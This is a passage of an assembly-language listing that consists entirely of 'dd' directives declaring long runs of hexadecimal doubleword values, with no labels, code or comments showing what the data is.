		dd 0EA48FF4Ah, 5E9702E2h, 0D2F74246h, 341DE340h, 310E7E19h
		dd 13356FBAh, 0C9E0BC3Bh, 2336D435h, 694C30BBh,	1B10F067h
		dd 841DA01h, 4BB36920h,	64CDFBA8h, 5967437Ah, 4C0465EFh
		dd 7EE0203h, 61E9A1EBh,	0AD052AA8h, 9297E2D1h, 0D7A942A2h
		dd 0B728AACCh, 86024214h, 29250676h, 270808F2h,	69D2A477h
		dd 0C46EEBB1h, 27A8005Dh, 29B653D3h, 0BB5ECB77h, 56879F4h
		dd 186F4625h, 0E40C855Ah, 7BBDE7A2h, 5EF709BDh,	620B73DDh
		dd 947C38E9h, 5D19C385h, 0D4AE5385h, 5E08015Dh,	342D8468h
		dd 4C60C16Ah, 2520C733h, 0E5244FB9h, 87080037h,	0D15E5FF9h
		dd 21C7DA01h, 807F6DA9h, 2BA64048h, 793618C2h, 0F1C8E06Bh
		dd 74708AF8h, 4F12CB7Dh, 0E0FE5514h, 0E926D7EFh, 5084998Eh
		dd 17AE77B4h, 85DAFD0h,	13AA2074h, 8634CAB0h, 4C7093E0h
		dd 791EB9BDh, 2485890Fh, 1B16DA10h, 0C2A140F2h,	9AAC7FD1h
		dd 8A2D7994h, 62B2F8E5h, 0C2AFF654h, 0CC80BE9h,	12B8DFF7h
		dd 0F29F0A94h, 0E7B3154Fh, 88D2D501h, 541F4944h, 172B06DDh
		dd 0F1F1E907h, 0DF495AD7h, 509944F4h, 1892DD6Fh, 0C29793Dh
		dd 0FA263584h, 67853D0Eh, 1BA2CE3h, 5B204CD0h, 0E644313Fh
		dd 7E02A5E1h, 0C98E5B8h, 1B2DF295h, 417156B1h, 0CC7FEC80h
		dd 44BF76F4h, 5B8198B3h, 0CD88B4B4h, 0F306C50Bh, 3F197453h
		dd 0E2D31092h, 472578E8h, 27E714F5h, 0C60B4393h, 8899E079h
		dd 0F5E66617h, 499FD422h, 0DB3EA57Dh, 0CF4AA2FCh, 0B66809E3h
		dd 0C272C416h, 0FF55EA40h, 72A77475h, 9EA0F653h, 8D717F0Ah
		dd 7B188B50h, 4D2AE90Dh, 0DC09B3E2h, 18FCEF24h,	127813Fh
		dd 9B7AE979h, 0BC6F7C2h, 3A71D9A1h, 0CE648EE3h,	0D3FE1702h
		dd 0F5000E47h, 3D4BF57h, 0B78959B6h, 40E30FCh, 8FE9254Ah
		dd 0F84B85F8h, 8A5A12FDh, 0F3E83199h, 0CF8EA864h, 0A52B0E32h
		dd 0E7E04728h, 4E36029Ah, 0AE7EE916h, 3FDF8BFFh, 28999855h
		dd 65FED09Dh, 0C32C04C8h, 30FAC313h, 8EC4A558h,	74BE2620h
		dd 0FDD2EA34h, 9DCB6C51h, 6780142h, 20951C98h, 0DB951C8h
		dd 279D1639h, 3E82F509h, 0C0E458A9h, 16547F5Dh,	1C405239h
		dd 994B07BAh, 0A4005D7Ah, 0D348BC35h, 80E97809h, 8BBE54A2h
		dd 39D24BB1h, 6C09C60Bh, 0DF130EA9h, 299FFC89h,	7BB07F67h
		dd 4692ED1Eh, 48B12FB5h, 68E0304Bh, 11507416h, 0E0A4B9F2h
		dd 7A326000h, 5FFB894Ch, 6CF7FE43h, 0EFBA1E8Fh,	0CD58D9E4h
		dd 0C02D7DB4h, 908CCE4Fh, 65CE203Bh, 3F33BB04h,	0EE8554B0h
		dd 6904D525h, 213F94Fh,	0F52037CDh, 2DF8E40h, 0E24A989Fh
		dd 3BB98041h, 15DD0A06h, 240B3FBEh, 13DFCE31h, 0C256AAEFh
		dd 0B14824FBh, 25AEE030h, 2F7A1C0h, 0D6238437h,	24330632h
		dd 2E091878h, 2FD305h, 844983Ah, 0E7D1307Ch, 0E648E51Ch
		dd 0FE01A716h, 89B17A13h, 4A717A20h, 643E8C04h,	28C86F12h
		dd 0E9D3A4EAh, 319A3424h, 4195D5A8h, 33C057F6h,	0DF311210h
		dd 8E4DE85Bh, 0D6234489h, 18925BACh, 71E32C2h, 810A1700h
		dd 0FE210EE3h, 0BAC5A015h, 4D021313h, 0FC8DB129h, 0A604605Fh
		dd 2D6CE919h, 0FC860413h, 5ACAF239h, 40C407A4h,	0F6B55D60h
		dd 0F9018292h, 85D6089Bh, 0B084DAA7h, 0D470253Dh, 0F9EB2F5h
		dd 0B5468F5h, 235EE668h, 2D62A069h, 982A095Dh, 0E0C59726h
		dd 40AA6843h, 827DB619h, 0FD2A415Dh, 958CDAE4h,	0B6E1010h
		dd 544A0133h, 5F095C1h,	80624BE9h, 32870DEEh, 1305AE3Dh
		dd 768CD88Eh, 0E8635BF8h, 416ED8E3h, 0FF3E5CD8h, 0CF55615Fh
		dd 2FE3622Eh, 892A5426h, 0C67093C6h, 0C2808455h, 3006C38Dh
		dd 8CC4F3F0h, 40E24CA8h, 0B437D15Bh, 0A168004Dh, 0CF739F63h
		dd 36E6F749h, 0E7F57BF9h, 0EC0EED8h, 29228E36h,	8061CDAh
		dd 19926EE9h, 656BF49Dh, 42EB8B2h, 0D4F6CCFEh, 1D2215E8h
		dd 0BCA55D95h, 955E04Ch, 5E4FF277h, 90A2DD96h, 38F90056h
		dd 8EBE1730h, 3D126EDDh, 0DE09D601h, 5F046243h,	7BAF3DFBh
		dd 205B936Fh, 0E6C14686h, 0B4F6C2A0h, 1E398202h, 0D92644E9h
		dd 0E125BFD8h, 7038FBA9h, 0BB8067A8h, 98539255h, 3DB205ABh
		dd 0C7293691h, 8A40B563h, 0FD874BB8h, 13EC5BE4h, 0C4EEB060h
		dd 3E5F5405h, 5B00298Bh
		dd 2D66D245h, 86075DEEh, 1611254Ah, 8C032045h, 0D2A47094h
		dd 37037F31h, 0EA8421B0h, 50339FA6h, 0E3810B2Ch, 6CB17A53h
		dd 0B7847146h, 5692967Bh, 6000B5FFh, 608225CDh,	0BD7EE0E3h
		dd 4D12A253h, 0F7C9C322h, 9E6BB26Ch, 96E87F11h,	0FC82DFB0h
		dd 0D76868h, 64E62347h,	1BB8F501h, 73D70882h, 0BE0F0455h
		dd 851684C8h, 78A9F207h, 1D289B20h, 81E1ED80h, 0F36859EAh
		dd 6A42244Ah, 0E5219261h, 8CDC0F5h, 0F2B7CDD8h,	28A02FC5h
		dd 2A4B20D0h, 36263AE1h, 6B3B680Bh, 0C05AFB74h,	2D3E5A61h
		dd 0A0D650E5h, 218408A0h, 5C305258h, 0DE29125Ch, 0A3854312h
		dd 0E9C274B2h, 26CA40FDh, 90D97ADFh, 5438133Dh,	0C2E104BDh
		dd 0EB90F48Bh, 0F16B9741h, 15D301FDh, 39B82B68h, 0E7F072C9h
		dd 489C7D95h, 0E916297Ch, 0AA281624h, 4AE1F856h, 8556F87Bh
		dd 31806850h, 1C58738Ch, 0C0D6F796h, 906F4205h,	0C74A2184h
		dd 0E7B006ACh, 493E1E97h, 0B0C70316h, 2665F910h, 1604770Ch
		dd 6ED9EE91h, 0DF52A800h, 0BA1D607Dh, 362E49BFh, 89CDE92Dh
		dd 0A8CDDFFAh, 0F763A68Ch, 35F0CEDh, 0D0CB337h,	1E17E06h
		dd 8258FD29h, 8BD30508h, 68BE20EAh, 12971FFBh, 0F4D4752Ch
		dd 2FF6D6ADh, 7FA5F915h, 3488A0E7h, 135116E6h, 50360661h
		dd 0E269C259h, 0B016F80Fh, 40914976h, 143C7687h, 186FC05Ah
		dd 3D02A023h, 79D9CB81h, 0F3AA8058h, 174E042Bh,	0FA3EE973h
		dd 0EED1624Eh, 0B2BA32BEh, 0A66809F7h, 1DC3076h, 31D39703h
		dd 902F2608h, 565F1E3Ch, 0B07019C9h, 270B1E54h,	57582E3Fh
		dd 96123504h, 88BB112Fh, 80B88019h, 165B2C48h, 84BDE4EEh
		dd 7E7AD09Fh, 0F58DBC2Dh, 59E16B3Bh, 26402E43h,	3A1967DAh
		dd 2CFA5A01h, 1114109Bh, 592646Ch, 9C50547h, 0CB03C6E8h
		dd 17AB6108h, 3E715E05h, 63C046F4h, 639A6ED0h, 491A2430h
		dd 76E97CF0h, 0F7369448h, 0CAAF0264h, 0E744C8Fh, 72B753h
		dd 0E5305BFCh, 60682758h, 0E989CCD1h, 2110E079h, 5921B7EBh
		dd 8B2A2D68h, 59A2DDEFh, 0F82189EDh, 0C2098F30h, 0F74FE917h
		dd 512F3161h, 1670353Ah, 0D9CAFBB0h, 3CA1EAD3h,	0BF5F13C4h
		dd 7F4ED2A0h, 0F6F83DEEh, 53F4C9B2h, 7B6F430Bh,	0A67E8F29h
		dd 0A8AB69EAh, 9A6BFC21h, 0BC5A5AF4h, 5EC2B079h, 31CF0A60h
		dd 20E7F201h, 0D290F908h, 7CBF0297h, 7D3E1073h,	4C10E69h
		dd 0B9530B1Dh, 0D03064F1h, 8E6815C8h, 0A4279E40h, 60FF4E62h
		dd 0E16C25C4h, 0DA4EFFC2h, 53026817h, 89808434h, 0E2796309h
		dd 9C0E05BEh, 0E829E6E9h, 0B7EE3B1Dh, 97C7317Ah, 0B2AF139Eh
		dd 776DC68Eh, 8EBF041Ch, 0D1A3D437h, 50FD31CEh,	391468E1h
		dd 0E961C1BBh, 9368AC53h, 0C74CFAD0h, 20FE5A16h, 7179EEA2h
		dd 0CE816D07h, 0BD40452h, 0C69340FBh, 19942ED3h, 0A11AF0BDh
		dd 0F98960FDh, 0B2FDE830h, 18D2F595h, 342D68BFh, 9E24919Ah
		dd 6D084855h, 0CB01592Ch, 20CD22F6h, 7703A220h,	273EB844h
		dd 0DC515CAEh, 0F660A46Fh, 484DE4BBh, 2AF2494Bh, 93B2884h
		dd 0ED5E50h, 434A177Ah,	0CAF3018Fh, 2FBA088Dh, 6CB9DABCh
		dd 54A68673h, 0BDA44D69h, 0B35D8B27h, 0EA4EF293h, 6609C19Fh
		dd 17B47760h, 9C4FE8Bh,	0C45D5B0Fh, 520609C0h, 8077600Eh
		dd 975EC509h, 4D19F815h, 0B086A97Dh, 96EAD953h,	2C340C16h
		dd 8B68BE0Eh, 1741DF64h, 5F33EF3h, 8C418B2Ch, 1AB75A45h
		dd 2840F55Bh, 124115C6h, 3A572768h, 86090666h, 602E2D3Ch
		dd 1CF781F3h, 0E7C25ACFh, 579F0178h, 0E01D1304h, 5E59F21Ah
		dd 5604965Ch, 0FAF797AFh, 0AB65347Bh, 90F41C16h, 68550126h
		dd 4CDE2D83h, 0CB5AB82Fh, 0B7F5D8BEh, 4B2D74C0h, 8B0CC905h
		dd 0FCBC631h, 9E4C05Fh,	0E97C1C5Fh, 0EB27EA5Ah,	2E7082h
		dd 0E7CF8147h, 0DCDA3430h, 7EAA2C7h, 0FB890733h, 762ABE9h
		dd 0F51C8955h, 7DF47D6Ch, 0C6E0FB54h, 0C3EE00B5h, 9064336Bh
		dd 0A2E913F2h, 166FF46Ch, 682CE861h, 6A230A50h,	22A3E14Fh
		dd 7E1C2DBAh, 5097D205h, 0D7AF6889h, 95B62E4Ch,	1BCEFFA0h
		dd 2B61E9D0h, 0DB6F7D3Fh, 0ED8D43A4h, 9D203039h, 1074B5F0h
		dd 0BC345BF3h, 4A1CA167h, 0AED38829h, 7A1C2FA5h, 91B3A153h
		dd 2941BE00h, 3A7AE524h, 8C4F7043h, 0B9D090AFh,	3565AA59h
		dd 0A2BB5E9Eh, 49B8D2CDh, 0FC8AFED3h, 0B3098312h, 0F44F4E94h
		dd 150ECF5Fh, 165B3D0Eh, 62FED821h, 0CD48C3ABh,	79179D68h
		dd 0C1004342h, 7F5F8EF1h, 0ABC89F40h, 761F82E1h, 85FC5A6Fh
		dd 0BDD305E5h, 6191C7ABh, 7A6C60F0h, 74019F8h, 1D0349E9h
		dd 0B3D6572Dh, 85050C30h, 55750436h, 0FE253C2Dh, 31AB03C1h
		dd 6882D838h, 21666CB6h, 41565458h, 8760891h, 83C0215Dh
		dd 16915EA2h, 9070144Eh, 0A0727EAAh, 6BE6317Bh,	95B83FE1h
		dd 0E727E9B8h, 0CAB35C54h, 604A035Ah, 0B128BBDh, 0F5EFDD29h
		dd 9FC6AA8h, 0FC3F0841h, 35CD516Ah, 0A1822A77h,	25D15C10h
		dd 0A73A6557h, 0B812B0D7h, 3874B09Ah, 6A89350Ah, 2A8054ECh
		dd 0B92FBE05h, 450A905Bh, 808188E3h, 0D1F6F8E1h, 0C18343D6h
		dd 0C98F0C9h, 28960601h, 0BEFDCC4Ah, 3E620CC6h,	83B9BE4Bh
		dd 0D2D1C74Bh, 565D4D55h, 0BF80C914h, 2B7D023Fh, 51A230F3h
		dd 558B680Dh, 1C61564Ch, 1E55CFAFh, 52569C81h, 28430C3h
		dd 516DA768h, 0AF839317h, 0C1551788h, 0A9596D82h, 6890FD0Fh
		dd 40B95B34h, 89E23D16h, 22D6D9Ah, 0A42F0B9h, 9D65D69h
		dd 77A553A4h, 5CE0C945h, 12A1F381h, 27A385Fh, 5817E9A9h
		dd 0AC21E7C5h, 0A46716h, 3EE70BF3h, 1A802D5Bh, 32A76214h
		dd 0A6670DB8h, 4F01B98Bh, 0B3201204h, 0D4C1D38h, 885E4916h
		dd 522D69E6h, 438DABAh,	0FAE9D129h, 457AB1Eh, 0B5CC935Eh
		dd 3F69989h, 76BF7916h,	85ED5D56h, 101DEDE8h, 0BB02AAE0h
		dd 445A1C3Fh, 46EF765Fh, 2497804Bh, 3482CAB6h, 57FA5F86h
		dd 7DD5529Dh, 229F495Fh, 2D40ED4Ah, 0A4144C5Ch,	0D4DA9DA4h
		dd 0D1AB294Bh, 6FAC181Eh, 0BF67ACCh, 4171022Dh,	4F270055h
		dd 12F71DB3h, 0EF59E9D5h, 0A3EB0B13h, 3684860Ch, 0DB829FA3h
		dd 40932F7h, 541EA50Dh,	7B07A3DFh, 0D2251275h, 0C0542153h
		dd 8CB88793h, 1C065109h, 16CD1E82h, 3E150009h, 0B82FD6ADh
		dd 90C02015h, 4EA5804Ch, 0DAFFCCBBh, 0CCD1124Eh, 9D2E7874h
		dd 7C127402h, 49EE7F02h, 25D20E9h, 5DF0574Fh, 6E8E7197h
		dd 0ED01EFC5h, 68AF12A9h, 9BEACE4h, 29FE1FD7h, 5FE59CC0h
		dd 976FEABCh, 0B23B18F1h, 0F1F7C0BEh, 97442768h, 36C50646h
		dd 30BE35DDh, 371A38D4h, 546145Ch, 25997F30h, 0A8888604h
		dd 2C93D5A8h, 512668B8h, 5667E15Ah, 0FC2B2590h,	0ECE9D262h
		dd 0DEF526DCh, 0A761CC40h, 21F2C20Ch, 4E05306h,	0BB80E494h
		dd 48B7F6E2h, 0BF01A856h, 0E927901Bh, 0C8C42F04h, 0E1CFECFAh
		dd 0A12B0AE9h, 0E6A83B1Bh, 7D7150E1h, 5971037h,	10C4582Eh
		dd 4BFB4818h, 0A227DCE6h, 79763A5Fh, 5AF76002h,	3160EC33h
		dd 0A306250Ch, 52E91A17h, 0DB5573A0h, 821ACACDh, 429B6878h
		dd 432971C8h, 0D3BC2F4Bh, 0D72C3058h, 53622577h, 0C2D6F177h
		dd 835E79E9h, 77655727h, 7A7F8989h, 0BED2BD92h,	0AD55749Fh
		dd 74186922h, 7E0A0500h, 0AB22483Ch, 5EE6CC40h,	0AD00B130h
		dd 658E79D2h, 0E905C8BEh, 484E1535h, 0FD01DBC1h, 57E6983Bh
		dd 0F5478541h, 6AD80F1Eh, 68412D44h, 19633C6Eh,	52F9B30Fh
		dd 0EC3F8564h, 7B1C0A8h
		dd 25E9CC88h, 0C65D99C5h, 60D20FB5h, 98C42253h,	40F6B54Dh
		dd 0DA07FFA4h, 0F488295Fh, 8841B868h, 0B96118A5h, 897DE92Dh
		dd 555B4A95h, 0C19082D8h, 3FDA69h, 44097AFBh, 7EBE341Fh
		dd 4072820Bh, 5171B800h, 6FDF98BBh, 5E90B75h, 400F8AAh
		dd 814F7F95h, 0AD91EF62h, 9110750Dh, 5D634068h,	179E08Fh
		dd 0B353500Ah, 30DC88BFh, 0F35BAEBFh, 6E1379BBh, 5E8F3CE6h
		dd 6ECD61D8h, 0A2CCD7DEh, 4F5E173Dh, 8590A22Ch,	0D8350DB5h
		dd 52663007h, 77D15127h, 0F741EA88h, 5AF1D708h,	0B2E4806Fh
		dd 0F23980D2h, 56EFA6D6h, 0D5FBF83Fh, 0CCF7F05Ah, 12CE5166h
		dd 63ED0771h, 0EB0BFE17h, 0C6B383D7h, 0E5773B49h, 41CF7E96h
		dd 9A68D815h, 1A3A7647h, 0FF10155Bh, 872CCBF2h,	3501A7EEh
		dd 12AEB67h, 1316E33Ah,	0EEF16FE9h, 0CBA7E62Ah,	3F97D55Ch
		dd 8133680Ch, 13B44AE9h, 0A307AFE6h, 0EC57DC28h, 1CC55B57h
		dd 88C0FDACh, 875CE9E7h, 414914C0h, 1D27E181h, 0ED5B7C4Ch
		dd 0D02554D1h, 4DB02029h, 82A01090h, 0C23F538Dh, 81E20173h
		dd 84A71EF2h, 66895489h, 0BB7ED22Bh, 7DF73B09h,	89527779h
		dd 4442DF88h, 6F555861h, 9C90CDE9h, 0CB175C30h,	6025742Ch
		dd 5947F3Ch, 0C33D7D1Ch, 814A4200h, 22124DCAh, 2501541Eh
		dd 0E9E3C7D7h, 5083B6C8h, 626B6866h, 0CFEE43A6h, 2627165Eh
		dd 7945ADF2h, 0E7428856h, 0CD89511Dh, 0AF94F557h, 7812F5F5h
		dd 22EC5B09h, 0F9FF5DB2h, 0E9FE82D3h, 0FB7E2B41h, 3C2468E1h
		dd 5334EB33h, 20AAC45Ah, 0F87118A5h, 8EC71D4Ah,	0D22F08EAh
		dd 0C3833506h, 9F92AA1Dh, 0D0835E1Ch, 925935E9h, 12B54C33h
		dd 38BF85ECh, 0FE25689Eh, 675A5E71h, 0DB560B10h, 7DBA9763h
		dd 1676253Ch, 57F9C39Bh, 95E0DAB6h, 0DE263B1Eh,	51E720Ah
		dd 4113F59Fh, 0FD234FC7h, 203A1E74h, 0C58F56F0h, 88E1ABBAh
		dd 6269713Eh, 0B58305D3h, 0FE77C1EBh, 0BB81423Ch, 60E50A99h
		dd 23415AD9h, 5BD47731h, 0F0415B1Dh, 76E47FA4h,	0AB5AB4B8h
		dd 1D0FB430h, 0F1145EB9h, 0FA0704C9h, 97B0FAF8h, 114DA95Eh
		dd 0C24873B1h, 7333308Dh, 252329EFh, 46FDECD5h,	0AC62E14Ah
		dd 2C313610h, 0F60115D1h, 1080250h, 0F82F2535h,	818AC547h
		dd 14F04389h, 3A594C35h, 0B2682776h, 0E0C05566h, 7CA94EBAh
		dd 52D602F7h, 0FA13E953h, 0DD6918FDh, 160B2632h, 0FECD166Dh
		dd 0E4EF5F8Ch, 0E82AF9FAh, 0B1AAA4B8h, 5DB62F0Bh, 4B09EE2Dh
		dd 0D0C7515Fh, 269C9B2Eh, 0B9606Ch, 68F26E74h, 4759CF31h
		dd 30A95E9Dh, 503DE908h, 1D7FC597h, 1B76EF8Bh, 35F9615Ah
		dd 49705E26h, 4685F132h, 106DA474h, 6B9567BCh, 0C2881212h
		dd 0D9A5C0BEh, 52EE5A5Bh, 0E09B5D6h, 0F6B948A0h, 4F9A3D5Dh
		dd 91522192h, 816C7714h, 5B1ABF22h, 0E53B25B2h,	570C9C8Ch
		dd 41FD817Eh, 7C3140BEh, 8B5FD084h, 4AB7AB1Ch, 251DF3CAh
		dd 7D5A28DCh, 0FE756E4Ah, 69E750A3h, 0AFE9DBB5h, 0B5D016FDh
		dd 93B56D02h, 68C2765Ch, 0AB5D05F0h, 0E9C20EE2h, 59DF6D7Ch
		dd 0E10AC25Dh, 0F8810104h, 83891341h, 0A4225BDAh, 2D003FA6h
		dd 4EF16794h, 0BC8ABA4h, 0E2A02FE9h, 5F75FE20h,	1632D76h
		dd 5E089Eh, 5057040Bh, 871F7CB8h, 22E94312h, 0FB4AE5F8h
		dd 0FF5BEBDAh, 0E0A7572Dh, 9723657h, 5FA96859h,	512CE46h
		dd 0A5007B41h, 2051C7EEh, 8C409537h, 233E0C3Bh,	16E68261h
		dd 55082813h, 0DC2C218Ch, 0CB5AFE14h, 5CAC04D0h, 0F1BD696Eh
		dd 0A44B4913h, 6F1DB34Dh, 55A522B9h, 14FD72ABh,	0BE5D4A51h
		dd 0AC2F2CC9h, 53086061h, 916BFBBh, 0AAE949C3h,	0B760E32Fh
		dd 80DFF632h, 67DCF33h,	0B9E7B171h, 0B8DABC70h,	6A3945ACh
		dd 0B3C72DE9h, 82D804D9h, 0B89B8734h, 634A15C1h, 0A25AC934h
		dd 5A39F454h, 4BEB1EFAh, 5952C14h, 0FEE00F0Dh, 20226201h
		dd 0E7F03702h, 7407026Eh, 0F473E944h, 8B1D565Fh, 237EB603h
		dd 33574C00h, 0A0CE8725h, 967AE990h, 176816FAh,	0C8198C4Bh
		dd 6CDE431Eh, 79C6C039h, 78802F8Dh, 547F8B02h, 94D580Ch
		dd 5120AD03h, 15643200h, 0D002C73h, 79C5971h, 540412Dh
		dd 0E955543Eh, 4AF8EC2Fh, 179FDCA9h, 587D4317h,	0FFC2652Ch
		dd 80009550h, 0B353D3F7h, 12B652B7h, 49F3282Bh,	0E88450D0h
		dd 0DD580B69h, 7FAD48E5h, 28A05D16h, 0E0170D59h, 0BB14837Bh
		dd 74650001h, 23E93573h, 7C56DBECh, 6A896EB9h, 24E13490h
		dd 19692E05h, 0F7BF40ECh, 3467C2E9h, 3274E85Dh,	0AA4B28FCh
		dd 0FB4F788Fh, 0F22A623Dh, 2DAA1753h, 0CE72CCAFh, 146FE9BFh
		dd 7679FB2Eh, 8B10D279h, 24683FF1h, 5BD0DB66h, 4EE91352h
		dd 59CBBAA8h, 0CB44FA4Eh, 66982D5Fh, 272EB22Eh,	0A1DE6668h
		dd 3916BD6Fh, 210E6CFAh, 0C7807F9Ah, 0FD093DAFh, 96D6316Ch
		dd 0F75613BFh, 0D4A1D61Ch, 34AF515Eh, 61A8F3CBh, 0B1563F50h
		dd 0EA028A28h, 271F594Eh, 0F7036075h, 0B6F8A0D2h, 7A8265Bh
		dd 7D2F0889h, 57156E24h, 124E7D5Bh, 16EEFB13h, 0B31EBC29h
		dd 680C0983h, 98DE17D1h, 0B39F62h, 967FEB81h, 4AD5AA3Fh
		dd 0CACFC280h, 7471045Eh, 0E732D0E9h, 0C8C46706h, 5A0D39C2h
		dd 6594073Ch, 99011A72h, 5727EBFAh, 0A8C35BC5h,	5EA09CBh
		dd 0A68E3827h, 483BBCB2h, 48860AB2h, 1D3EAF29h,	3F5F35E7h
		dd 522B863Fh, 61D8545Fh, 64E90D2Dh, 0F4453B49h,	5FEB1F71h
		dd 0D26F4ABCh, 0FDF62F6Eh, 5D6B18B1h, 92FDAD7Eh, 473A08CDh
		dd 52BB140h, 0E121FECBh, 0C153F7E7h, 13EFF58Ch,	812BFBAh
		dd 0D90D46EEh, 0B90722D5h, 2CCD1393h, 3292AFA4h, 9ED8FF66h
		dd 0D9E8872Fh, 283645Eh, 0EC2B8AE9h, 349D0B86h,	0F273A0Dh
		dd 0EA9F0AEh, 0B095E831h, 95FC3B5Fh, 249D9CD5h,	607D4025h
		dd 0E7B55153h, 804EB300h, 0EB2893C3h, 2EC025E9h, 2F42645Dh
		dd 0C55425BFh, 6C94F77Ah, 0A3E3DFC4h, 32F58100h, 0CA5E63F2h
		dd 1EFC04AFh, 5EA7BD50h, 0CAF12F5h, 0E9251E7Ah,	5828C1D5h
		dd 0E082EC7Bh, 2F3CDBE9h, 0FE7C7869h, 5D5A08A0h, 53B159ECh
		dd 34E7108Ch, 61D22C54h, 0CBFD0204h, 5AC29731h,	3A412760h
		dd 0FBB80176h, 3E580881h, 68826CB3h, 1D6C1D9Fh,	5855F526h
		dd 0D2A1984h, 0B5122DBCh, 2428EF5Ch, 0E9534016h, 0E9276ED7h
		dd 2829B83h, 6580510h, 825D2CFBh, 0DCCF2148h, 2A440EA0h
		dd 2A5622CBh, 64F03113h, 2530072Dh, 60480C56h, 890AA959h
		dd 74C5292Fh, 5C4856A9h, 6D48022Ch, 7F295D21h, 0B480CD16h
		dd 0E6041223h, 0C8315B43h, 3BFAEDBAh, 425027ACh, 61F302B4h
		dd 69A0FE68h, 948F977h,	0DB552A91h, 7215BE1Ah, 0EE0295F6h
		dd 0F1A5B33Ah, 8424F45Ch, 0FE0FAB13h, 7FF3E036h, 900E6F6Ch
		dd 373B07ECh, 0F2511D5Fh, 0BF045BECh, 3209E1FAh, 0DBA55E00h
		dd 8509B82Eh, 0A6EFDD91h, 3E2F7BACh, 0C2BB7965h, 335DE0C1h
		dd 0A3E54B9Eh, 0C7298291h, 0C10CBA97h, 6063AC69h, 522E55D4h
		dd 0A557C73Dh, 0E86BE1ADh, 0F9ED20B9h, 0E049D941h, 613EF181h
		dd 0CB2997D0h, 5D09A7C2h, 0E3689B48h, 0FF704295h, 7DC97A79h
		dd 5B483552h, 28E1787Ch, 16583FD5h, 81D09549h, 5E29DC2Ah
		dd 7AAB034h, 7E647916h,	5FE9B9E0h, 0CA32901Fh, 0ED5C7A8Bh
		dd 38C2003Dh, 0F762C430h, 0BD5502DAh, 5CD10393h, 1A57341h
		dd 8DDCFB29h, 8A7C95C2h, 0D96852C0h, 0BC06B919h, 270A261Ch
		dd 0F64DBADDh, 7C7E80EAh, 0F3E9687Ah, 6B63AF5h,	736FF258h
		dd 906B0CD3h, 26A05C0Eh
		dd 7D304110h, 1DB5C443h, 0CC6658EDh, 4D04E23Eh,	0BE52722Fh
		dd 532042C4h, 0C06809E9h, 2106C285h, 6EB074CCh,	0A8B2DABFh
		dd 5E8CE961h, 0A36257Dh, 0BC7A97B0h, 0AEF3BB17h, 1DE5DBC9h
		dd 0F712FB3Ch, 994F54D0h, 8B99EA01h, 0CDE94637h, 0A154A67Eh
		dd 0E425AD28h, 7950C428h, 9C677A56h, 40C7C206h,	6065D4F6h
		dd 0E38649FFh, 0C2BF4577h, 6B5A7793h, 0FD7D170Fh, 9C796534h
		dd 2F7BF38Ah, 2C5D44FBh, 1B16C0E2h, 0C1B192Ch, 24FC74F8h
		dd 52D64AC1h, 18AD4ED4h, 26A610FCh, 4FA29312h, 0A8BC13Ch
		dd 1AE64268h, 51B744B0h, 6E600D43h, 0C59D8C3h, 7FF6C072h
		dd 0A5FC4F5Ah, 0E9E0B4E4h, 360BE84Bh, 2FFED258h, 53FB6CEBh
		dd 0E2308B03h, 430C0E5Dh, 0FFD650DAh, 0DEBF1E12h, 32BD4B9Fh
		dd 50391CE2h, 5E0E7830h, 0DDA8A2E2h, 0FE8B0EA6h, 3F1798Fh
		dd 268D726Bh, 0D878ACE2h, 782B68E8h, 0B6019638h, 8C9E937h
		dd 31E392Dh, 18C52E0h, 0BA47B162h, 0EAD47F2Fh, 4BF0812h
		dd 0A1D0E9CBh, 7FC86A35h, 0EE555A5Dh, 0B77A8569h, 74C9274Eh
		dd 7BF26153h, 0B75620CBh, 0D697FCB2h, 662DC94Bh, 9FB76A1Ah
		dd 0D05F2913h, 32766897h, 58D065C9h, 3F749F25h,	0B781E4C9h
		dd 0B353CD83h, 50D3F6A8h, 51FEB40Fh, 0AC0C32B1h, 0E88020EFh
		dd 24419F38h, 36E07E20h, 0F75A4B3Fh, 0C6497BBBh, 77BA02ABh
		dd 86651631h, 970D739Eh, 55D419C1h, 4F0B819Dh, 81AA0491h
		dd 4C5721E0h, 1A03B48Ah, 0F6C4CC80h, 0E9E4A9D4h, 3F0D61h
		dd 2527B8ABh, 0A1E61A11h, 5BA661Eh, 74407B00h, 3FD72D31h
		dd 0E90CBC50h, 2C9E1C30h, 0D0BCAB4Ah, 0AF17C285h, 6D949477h
		dd 64008809h, 0D0285B58h, 57955A70h, 899F5E16h,	210224B7h
		dd 4A1470D1h, 9A78D12Fh, 5800482h, 7BC5D34Bh, 7E7420D9h
		dd 94F5B5A0h, 2F12CC97h, 6B1EEB53h, 0F37D9625h,	52E909AFh
		dd 592616D8h, 0ED313E55h, 6C6CDD31h, 30BA52C4h,	310FBCEBh
		dd 0C00C4666h, 2E1BC912h, 80637E5h, 214820Ch, 673C3ED6h
		dd 1D55AC1Dh, 892C190h,	0DDE9F501h, 0BD968352h,	0B57C1737h
		dd 52A08F85h, 1F6EE349h, 33FBCC93h, 6116B468h, 0E01A2A69h
		dd 0E5080B94h, 6ACD882Bh, 39538D88h, 0D1EB34F6h, 33B9FA72h
		dd 0DDD304F4h, 4B4F144Dh, 5F48E8E9h, 0B50B247Dh, 2CF7BE42h
		dd 809742ABh, 814D58C5h, 4C0C55EDh, 2201C8F8h, 8D34FD0Ah
		dd 0A0025FE7h, 0FB2D676Eh, 0E98D010Bh, 8D92377Bh, 2AFD82EBh
		dd 0FEED3ADFh, 0ECCD8911h, 4E0BFE1Bh, 76A315E7h, 0C14E040Ch
		dd 0CEC0C0EEh, 9D286FEDh, 9BDA40Fh, 3EF0DFDCh, 10256531h
		dd 0C27E57B1h, 69405208h, 0F632EA86h, 0F1C222D5h, 0B5FA5ACh
		dd 6609A563h, 15DE73F8h, 0FB4B83F1h, 0FA25169Fh, 0DA217980h
		dd 0E20BD15Bh, 665DD768h, 16E1430h, 0FA4AB87Fh,	0F5AA3E34h
		dd 0E93021C7h, 5660172h, 2DAFB02Ah, 10026331h, 68F07C08h
		dd 88305E57h, 0AC5B7F92h, 2568E9DCh, 0DAE66F8Fh, 0D76A18B5h
		dd 4953B355h, 0A3F5B95Dh, 82A3B508h, 34272D88h,	509FE172h
		dd 20DE905Ah, 6826F857h, 0F642C31Ch, 0C25104B2h, 0BEA8970Ah
		dd 94CFA5AEh, 0D1F26809h, 5E8BA039h, 7EF0A7CAh,	2025F94Ch
		dd 7BA2827Eh, 2EF91D8h,	7BB8E781h, 0CFEF405Bh, 256BF88Bh
		dd 8800D108h, 0E6410FF4h, 53B0609Fh, 4C7000BBh,	0E3C13298h
